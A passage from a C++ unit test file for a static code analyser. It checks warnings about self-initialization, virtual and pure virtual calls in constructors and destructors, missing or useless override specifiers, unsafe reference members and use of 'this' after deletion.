{\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n 